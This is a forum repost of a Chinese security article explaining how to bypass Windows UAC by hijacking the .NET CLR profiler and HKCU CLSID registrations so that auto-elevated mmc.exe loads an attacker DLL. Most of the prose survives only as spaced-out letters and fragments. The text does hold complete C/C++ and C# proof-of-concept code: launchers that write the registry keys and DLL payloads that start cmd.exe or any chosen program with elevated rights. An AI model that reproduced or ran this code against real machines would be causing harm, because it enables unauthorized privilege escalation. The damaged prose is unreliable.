[13193] 2018-09-16_白名单绕过UAC方法原理介绍

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2018-09-16_白名单绕过UAC方法原理介绍 U A C a l p h a l a b   F r e e B u f   2 0 1 8 - 0 9 - 1 6 U A C ( U s e r   A c c o u n t C o n t r o l ) W i n d o w s   V i s t a U A C 使 使 使 使 U A C 便 便 U A C U A C U A C U A C U A C h f i r e f 0 x g i t h u b U A C h t t p s : / / g i t h u b . c o m / h f i r e f 0 x / U A C M E 4 8 1 7 U A C 便 C O M h t t p : / / w w w . f r e e b u f . c o m / a r t i c l e s / s y s t e m / 1 1 6 6 1 1 . h t m l . N E T   h t t p s : / / o f f s e c . p r o v a d y s . c o m / U A C - b y p a s s - d o t n e t . h t m l U A C 使 W i n 7     x 3 2   7 6 0 1 P r o c m o n W i n D b g I D A V S 2 0 1 5
C L R D L L U A C m m c m s c m s c P r o c m o n m m c . e x e m s c C L R C L R C L R ( C o m m o n L a n g u a g e   R u n t i m e ) . N E T . N E T C L R J A V A C L R P r o f i l i n g ( h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / d o t n e t / f r a m e w o r k / u n m a n a g e d - a p i / p r o f i l i n g / p r o f i l i n g - o v e r v i e w ) D L L . N E T C L R D L L D L L O D C L R D L L D L L U A C C L R D L L :   h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / d o t n e t / f r a m e w o r k / u n m a n a g e d - a p i / p r o f i l i n g / s e t t i n g - u p - a - p r o f i l i n g - e n v i r o n m e n t 2 . 1  
C L R C O R _ E N A B L E _ P R O F I L I N G 1 . N E T D L L 4 . 0 C L S I D P r o g I D d l l . N E T 4 . 0 C O R _ P R O F I L E R _ P A T H d l l C L S I D C O R _ P R O F I L E R _ P A T H . N E T   X C L R d l l C O R _ P R O F I L E R C L S I D P r o g I D , 使 C L S I D ( ) C L S I D C L S I D 使 V S G U I D C O R _ E N A B L E _ P R O F I L I N G   =   1 C O R _ P R O F I L E R = { C L S I D o r   P r o g I D } C O R _ E N A B L E _ P R O F I L I N G = 1 C O R _ P R O F I L E R = { 1 2 3 4 5 6 7 8 - 1 2 3 4 - 1 2 3 4 - 1 2 3 4 - 1 2 3 4 5 6 7 8 9 A B C }
使 : 2 . 2   C L S I D C L S I D D L L H K E Y _ C U R R E N T _ U S E R S o f t w a r e C l a s s e s C L S I D { 1 1 1 1 1 1 1 1 - 1 1 1 1 - 1 1 1 1 - 1 1 1 1 - 1 1 1 1 1 1 1 1 1 1 1 1 } I n p r o c S e r v e r 3 2 I n p r o c S e r v e r 3 2 d l l d l l c m d . e x e 退
g p e d i t . m s c c m d U A C . N E T d l l . N E T 使 . N E T 使 2 . 3   e x e B O O L   A P I E N T R Y   D l l M a i n   (   H M O D U L E   h M o d u l e ,                               D W O R D     u l _ r e a s o n _ f o r _ c a l l   ,                               L P V O I D   l p R e s e r v e d                                           ) {         s w i t c h   ( u l _ r e a s o n _ f o r _ c a l l )         {         c a s e   D L L _ P R O C E S S _ A T T A C H :         {                 W i n E x e c ( " c m d . e x e "   ,   S W _ S H O W N O R M A L ) ;                 E x i t P r o c e s s ( 0 ) ;                 b r e a k ;         }         c a s e   D L L _ T H R E A D _ A T T A C H :         c a s e   D L L _ T H R E A D _ D E T A C H :         c a s e   D L L _ P R O C E S S _ D E T A C H :                 b r e a k ;         }         r e t u r n   T R U E ; }
d l l i n t   m a i n ( i n t     a r g c , c h a r *   a r g v [ ] ) {         H K E Y   h K e y E x e   =   N U L L   ;         H K E Y   h E n v   =   N U L L   ;         H K E Y   h C L S I D   =   N U L L   ;         / /   1   e x e , d l l         i f   ( a r g c   <   2 )         {                 p r i n t f ( " e x e n "   ) ;                 r e t u r n   0 ;         }         / /   1 . 1   H K C U S o f t w a r e M y E x e         i n t   n L e n   =   s t r l e n   ( a r g v [ 1 ] ) ;         T C H A R   s z E x e P a t h [ M A X _ P A T H   ]   =   { } ;         M u l t i B y t e T o W i d e C h a r ( C P _ A C P ,   N U L L   ,   a r g v [ 1 ] ,   n L e n ,   s z E x e P a t h   ,   M A X _ P A T H ) ;         T C H A R   s z K e y N a m e [ M A X _ P A T H   ] = {   L " S o f t w a r e M y E x e "   } ;         l o n g   l R e s u l t   =   R e g C r e a t e K e y E x   ( H K E Y _ C U R R E N T _ U S E R ,                 s z K e y N a m e ,   0 ,   N U L L   ,   R E G _ O P T I O N _ N O N _ V O L A T I L E ,   K E Y _ A L L _ A C C E S S |   K E Y _ W O W 6 4 _ 3 2 K E Y   ,   N U L L ,   & h K e y E x e ,   N U L L   ) ;         i f   ( l R e s u l t   ! =   E R R O R _ S U C C E S S   )                 r e t u r n   0 ;         R e g S e t V a l u e E x ( h K e y E x e ,   N U L L   ,   0 ,   R E G _ S Z ,   ( B Y T E * ) s z E x e P a t h   , n L e n * 2 ) ;         R e g C l o s e K e y ( h K e y E x e ) ;         / /   2           l R e s u l t   =   R e g C r e a t e K e y E x ( H K E Y _ C U R R E N T _ U S E R   ,                 L " E n v i r o n m e n t " ,   0 ,   N U L L   ,   R E G _ O P T I O N _ N O N _ V O L A T I L E ,   K E Y _ A L L _ A C C E S S   |   K E Y _ W O W 6 4 _ 3 2 K E Y   ,   N U L L ,   & h E n v ,   N U L L   ) ;         i f   ( l R e s u l t   ! =   E R R O R _ S U C C E S S   )                 r e t u r n   0 ;         R e g S e t V a l u e E x ( h E n v ,     L " C O R _ E N A B L E _ P R O F I L I N G " ,   0 ,   R E G _ S Z ,   ( B Y T E   * ) L " 1 " ,   2 ) ;         T C H A R   w c C L S I D [ ]   =     L " { 1 1 1 1 1 1 1 1 - 1 1 1 1 - 1 1 1 1 - 1 1 1 1 - 1 1 1 1 1 1 1 1 1 1 1 1 } " ;         R e g S e t V a l u e E x ( h E n v ,     L " C O R _ P R O F I L E R " ,   0 ,   R E G _ S Z ,   ( B Y T E * )   w c C L S I D ,   w c s l e n ( w c C L S I D ) * 2 ) ;         R e g C l o s e K e y ( h E n v ) ;         / /   3   C L S I D , d l l         T C H A R   s z C L S I D [ M A X _ P A T H   ]   =   { L " S o f t w a r e C l a s s e s C L S I D { 1 1 1 1 1 1 1 1 - 1 1 1 1 - 1 1 1 1 - 1 1 1 1 - 1 1 1 1 1 1 1 1 1 1 1 1 } I n p r o c S e r v e r 3 2 " } ;         / /   D L L         T C H A R   s z D l l [ M A X _ P A T H   ]   =   { L " C : T e m p t e s t . d l l " } ;         R e g C r e a t e K e y E x ( H K E Y _ C U R R E N T _ U S E R   ,                 s z C L S I D ,   0 ,   N U L L   ,   R E G _ O P T I O N _ N O N _ V O L A T I L E ,   K E Y _ A L L _ A C C E S S   |   K E Y _ W O W 6 4 _ 3 2 K E Y   ,   N U L L ,   & h C L S I D ,   N U L L   ) ;         R e g S e t V a l u e E x ( h C L S I D ,   N U L L   ,   0 ,   R E G _ S Z ,   ( B Y T E * ) s z D l l   ,   w c s l e n ( s z D l l ) * 2 ) ;         R e g C l o s e K e y ( h C L S I D ) ;         / /   4 m s c D L L         s y s t e m ( " m m c . e x e   g p e d i t . m s c " ) ;         / /   5 C L S I D . N E T         R e g D e l e t e K e y E x ( H K E Y _ C U R R E N T _ U S E R   ,   s z C L S I D ,   K E Y _ W O W 6 4 _ 3 2 K E Y ,   N U L L   ) ;         r e t u r n   0 ; } B O O L   A P I E N T R Y     D l l M a i n (   H M O D U L E     h M o d u l e ,                                             D W O R D       u l _ r e a s o n _ f o r _ c a l l ,                                             L P V O I D     l p R e s e r v e d                                           ) {         s w i t c h   ( u l _ r e a s o n _ f o r _ c a l l )         {         c a s e   D L L _ P R O C E S S _ A T T A C H :         {                 / / e x e                 H K E Y   h K e y E x e     =   N U L L ;                 T C H A R   s z E x e P a t h   [ M A X _ P A T H ]   =   { } ;                 T C H A R   s z K e y N a m e   [ M A X _ P A T H ]   =   {   L " S o f t w a r e M y E x e "   } ;                 l o n g   l R e s u l t   =   R e g O p e n K e y E x   ( H K E Y _ C U R R E N T _ U S E R ,                         s z K e y N a m e ,   0 ,   K E Y _ R E A D     |   K E Y _ W O W 6 4 _ 3 2 K E Y ,   & h K e y E x e ) ;                 i f   ( l R e s u l t   ! =   E R R O R _ S U C C E S S   )                         E x i t P r o c e s s ( 0 ) ;                 D W O R D   d w S i z e     =   M A X _ P A T H * 2 ;                 R e g Q u e r y V a l u e E x ( h K e y E x e   ,   N U L L ,   0 ,   N U L L ,   ( B Y T E   * ) s z E x e P a t h ,   & d w S i z e ) ;                 c h a r   c P a t h [ M A X _ P A T H   ]   =   { } ;                 W i d e C h a r T o M u l t i B y t e ( C P _ A C P   ,   N U L L ,   s z E x e P a t h ,   w c s l e n   ( s z E x e P a t h ) ,   c P a t h ,   M A X _ P A T H   ,   N U L L ,   N U L L ) ;                 W i n E x e c ( c P a t h , S W _ S H O W N O R M A L   ) ;                 R e g C l o s e K e y ( h K e y E x e   ) ;                 E x i t P r o c e s s ( 0 ) ;                 b r e a k ;         }         c a s e   D L L _ T H R E A D _ A T T A C H :         c a s e   D L L _ T H R E A D _ D E T A C H :         c a s e   D L L _ P R O C E S S _ D E T A C H :                 b r e a k ;         }         r e t u r n   T R U E ; }
D L L D L L D L L U A C P E D L L D L L . N E T . N E T D L L . N E T C L R D L L C L S I D d l l C L R D L L d l l d l l 3 . 1   D L L t a s k s c h d . m s c 使 P r o c m o n L o a d I m a g e D L L D L L D L L D L L D L L C L S I D :
3 . 0 . 0 . 0 A s s m b l y d l l D L L . N E T t o k e n L o a d I m a g e D L L A s s e m b l y C L R D L L A s s m b l y C o d e B a s e C o d e B a s e C l a s s D L L 访 I n p r o c S e r v e r 3 2 3 . 0 . 0 . 0 I n p r o c S e r v e r 3 2 D L L D L L C o d e B a s e D L L C L R D L L H K C R H K C R C L S I D H K L M H K C U S o f t w a r e C l a s s e s C L S I D H K L M H K C U 3 . 2   D L L H K E Y _ C U R R E N T _ U S E R S o f t w a r e C l a s s e s C L S I D { D 5 A B 5 6 6 2 - 1 3 1 D - 4 5 3 D - 8 8 C 8 - 9 B B A 8 7 5 0 2 A D E } H K E Y _ C L A S S E S _ R O O T C L S I D { D 5 A B 5 6 6 2 - 1 3 1 D - 4 5 3 D - 8 8 C 8 - 9 B B A 8 7 5 0 2 A D E } C # D L L . N E T A s s e m b l y
D L L C M D 退 D L L ( t a s k s c h d . m s c ) C : T e m p C L S I D . d l l I n p r o c S e r v e r 3 2 3 . 0 . 0 . 0 D L L C o d e B a s e D L L t a s k s c h d . m s c c m d 3 . 3   m m c E X E n a m e s p a c e   C L S I D {             p u b l i c   c l a s s   C l a s s 1             {                           s t a t i c   C l a s s 1 ( )                           {                                           P r o c e s s . S t a r t ( " c m d . e x e " ) ;                                             E n v i r o n m e n t . E x i t ( 0 ) ;                                           }                           }   }
D L L ( . N E T ) e x e i n t   m a i n ( i n t     a r g c ,   c h a r *   a r g v [ ] ) {         H K E Y   h K e y E x e   =   N U L L   ;         H K E Y   h K e y C L S I D S r c   =   N U L L   ;         H K E Y   h K e y C L S I D D e s   =   N U L L   ;         / /   1   e x e , d l l         i f   ( a r g c   <   2 )         {                 p r i n t f ( " e x e n "   ) ;                 r e t u r n   0 ;         }         / /   1 . 1   E X E H K C U S o f t w a r e M y E x e         i n t   n L e n   =   s t r l e n   ( a r g v [ 1 ] ) ;         T C H A R   s z E x e P a t h [ M A X _ P A T H   ]   =   { } ;         M u l t i B y t e T o W i d e C h a r ( C P _ A C P ,   N U L L   ,   a r g v [ 1 ] ,   n L e n ,   s z E x e P a t h   ,   M A X _ P A T H ) ;         T C H A R   s z K e y N a m e [ M A X _ P A T H   ]   =   {   L " S o f t w a r e M y E x e "   } ;         l o n g   l R e s u l t   =   R e g C r e a t e K e y E x   ( H K E Y _ C U R R E N T _ U S E R ,                 s z K e y N a m e ,   0 ,   N U L L   ,   R E G _ O P T I O N _ N O N _ V O L A T I L E ,   K E Y _ A L L _ A C C E S S   |   K E Y _ W O W 6 4 _ 3 2 K E Y   ,   N U L L ,   & h K e y E x e ,   N U L L   ) ;         i f   ( l R e s u l t   ! =   E R R O R _ S U C C E S S   )                 r e t u r n   0 ;         R e g S e t V a l u e E x ( h K e y E x e ,   N U L L   ,   0 ,   R E G _ S Z ,   ( B Y T E * ) s z E x e P a t h   ,   n L e n   *   2 ) ;         R e g C l o s e K e y ( h K e y E x e ) ;         / /   2   C L S I D , d l l         / /   2 . 1         T C H A R   s z C L S I D S r c [ M A X _ P A T H   ]   =   {   L " C L S I D { D 5 A B 5 6 6 2 - 1 3 1 D - 4 5 3 D - 8 8 C 8 - 9 B B A 8 7 5 0 2 A D E } "   } ;         T C H A R   s z C L S I D D e s [ M A X _ P A T H   ]   =   {   L " S o f t w a r e C l a s s e s C L S I D { D 5 A B 5 6 6 2 - 1 3 1 D - 4 5 3 D - 8 8 C 8 - 9 B B A 8 7 5 0 2 A D E } "   } ;         R e g O p e n K e y E x ( H K E Y _ C L A S S E S _ R O O T   ,   s z C L S I D S r c ,   0 ,   K E Y _ R E A D | K E Y _ W O W 6 4 _ 3 2 K E Y   ,   & h K e y C L S I D S r c ) ;         R e g C r e a t e K e y E x ( H K E Y _ C U R R E N T _ U S E R   ,   s z C L S I D D e s ,   0 ,   N U L L ,                 R E G _ O P T I O N _ N O N _ V O L A T I L E ,   K E Y _ A L L _ A C C E S S     |   K E Y _ W O W 6 4 _ 3 2 K E Y ,   N U L L ,   &   h K e y C L S I D D e s ,   N U L L ) ;         R e g C o p y T r e e ( h K e y C L S I D S r c ,   N U L L   ,   h K e y C L S I D D e s ) ;         R e g C l o s e K e y ( h K e y C L S I D S r c ) ;         R e g C l o s e K e y ( h K e y C L S I D D e s ) ;         / /   2 . 2           T C H A R   * s z S u b K e y [ ]   =   {     L " I n p r o c S e r v e r 3 2 "   , L " 3 . 0 . 0 . 0 "   } ;         f o r   ( i n t     i = 0 ; i < 2 ; + + i )         {                 w c s c a t _ s ( s z C L S I D D e s   ,   M A X _ P A T H ,   s z S u b K e y [ i   ] ) ;                 R e g O p e n K e y E x ( H K E Y _ C U R R E N T _ U S E R   ,   s z C L S I D D e s ,   0 ,   K E Y _ S E T _ V A L U E   |   K E Y _ W O W 6 4 _ 3 2 K E Y   ,   & h K e y C L S I D D e s ) ;                 D W O R D   c b D a t a     =   ( D W O R D ) ( ( 1   +   w c s l e n ( L " C L S I D ,   V e r s i o n = 3 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l "   ) )   *   s i z e o f ( W C H A R ) ) ;                 l R e s u l t   =   R e g S e t V a l u e E x   ( h K e y C L S I D D e s ,   L " A s s e m b l y " ,   0 ,                         R E G _ S Z ,   ( B Y T E   * ) L " C L S I D ,   V e r s i o n = 3 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l " ,   c b D a t a ) ;                 c b D a t a   =   ( D W O R D   ) ( ( 1   +   w c s l e n ( L " C L S I D . C l a s s 1 " ) )   *   s i z e o f   ( W C H A R ) ) ;                 l R e s u l t   =   R e g S e t V a l u e E x   ( h K e y C L S I D D e s ,   L " C l a s s " ,   0 ,                         R E G _ S Z ,   ( B Y T E   * ) L " C L S I D . C l a s s 1 " ,   c b D a t a ) ;                 c b D a t a   =   ( D W O R D   ) ( ( 1   +   w c s l e n ( L " f i l e : / / c : / / T e m p / / C L S I D . d l l " ) )   *     s i z e o f ( W C H A R ) ) ;                 l R e s u l t   =   R e g S e t V a l u e E x   ( h K e y C L S I D D e s ,   L " C o d e B a s e " ,   0 ,                         R E G _ S Z ,   ( B Y T E   * ) L " f i l e : / / c : / / T e m p / / C L S I D . d l l " ,   c b D a t a ) ;                 R e g C l o s e K e y ( h K e y C L S I D D e s   ) ;         }         / /   3 m s c D L L         s y s t e m ( " m m c . e x e   t a s k s c h d . m s c " ) ;         / /   4 C L S I D         R e g O p e n K e y E x ( H K E Y _ C U R R E N T _ U S E R   ,   L " S o f t w a r e C l a s s e s C L S I D { D 5 A B 5 6 6 2 - 1 3 1 D - 4 5 3 D - 8 8 C 8 - 9 B B A 8 7 5 0 2 A D E } " ,   0 ,                 D E L E T E |   K E Y _ E N U M E R A T E _ S U B _ K E Y S     | K E Y _ Q U E R Y _ V A L U E   |   K E Y _ W O W 6 4 _ 3 2 K E Y ,   &   h K e y C L S I D D e s ) ;         R e g D e l e t e T r e e ( h K e y C L S I D D e s ,   N U L L   ) ;         R e g D e l e t e K e y E x ( H K E Y _ C U R R E N T _ U S E R   ,   L " S o f t w a r e C l a s s e s C L S I D { D 5 A B 5 6 6 2 - 1 3 1 D - 4 5 3 D - 8 8 C 8 - 9 B B A 8 7 5 0 2 A D E } " ,   K E Y _ W O W 6 4 _ 3 2 K E Y   ,   N U L L ) ;         r e t u r n   0 ; } n a m e s p a c e   C L S I D {         p u b l i c   c l a s s     C l a s s 1         {                 s t a t i c   C l a s s 1 ( )                 {                         R e g i s t r y K e y   K e y     =   R e g i s t r y . C u r r e n t U s e r . O p e n S u b K e y   ( " S o f t w a r e M y E x e " ,   f a l s e ) ;                         s t r i n g   C u s t o m P a r a m     =   K e y . G e t V a l u e ( " "   ) . T o S t r i n g ( ) ;                         K e y . C l o s e   ( ) ;                         P r o c e s s . S t a r t   ( C u s t o m P a r a m ) ;                         E n v i r o n m e n t . E x i t   ( 0 ) ;                 }         } }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则